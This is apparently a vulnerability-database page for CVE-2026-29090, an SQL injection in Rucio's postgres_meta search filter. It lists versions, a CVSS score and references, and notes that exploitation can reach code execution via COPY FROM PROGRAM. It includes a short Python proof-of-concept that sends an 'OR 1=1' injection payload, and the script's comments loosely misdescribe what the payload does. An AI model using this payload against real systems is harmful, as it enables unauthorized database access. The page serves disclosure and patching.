CVE-2026-29090

Description

### Summary A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in `FilterEngine.create_postgres_query()`. This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (`GET /dids/<scope>/dids/search`). When the `postgres_meta` metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python `.format()`, then passed to `psycopg3`'s `sql.SQL()` which treats the string as trusted SQL syntax. Depending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgres_meta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:* - VULNERABLE

Rucio >= 1.30.0, < 35.8.5

Rucio >= 38.0.0, < 38.5.5

Rucio >= 39.0.0, < 39.4.2

Rucio >= 40.0.0, < 40.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-29090
import requests

target_url = "http://vulnerable-rucio-instance:8080/dids/test_scope/dids/search"
# Malicious filter exploiting the .format() SQL injection
# Attempting to perform a blind SQL injection or time-based attack
params = {
    "filter": "name='test' OR 1=1; --"
}
headers = {
    "X-Rucio-Account": "attacker",
    "X-Rucio-Token": "valid_auth_token"
}

response = requests.get(target_url, params=params, headers=headers)
if response.status_code == 200:
    print("[+] Potential SQL Injection successful")
    print(response.text)
else:
    print("[-] Request failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29090
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29090
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29090/
[4] VulDB https://vuldb.com/cve/CVE-2026-29090
[5] https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947

Raw JSON Data

JSON

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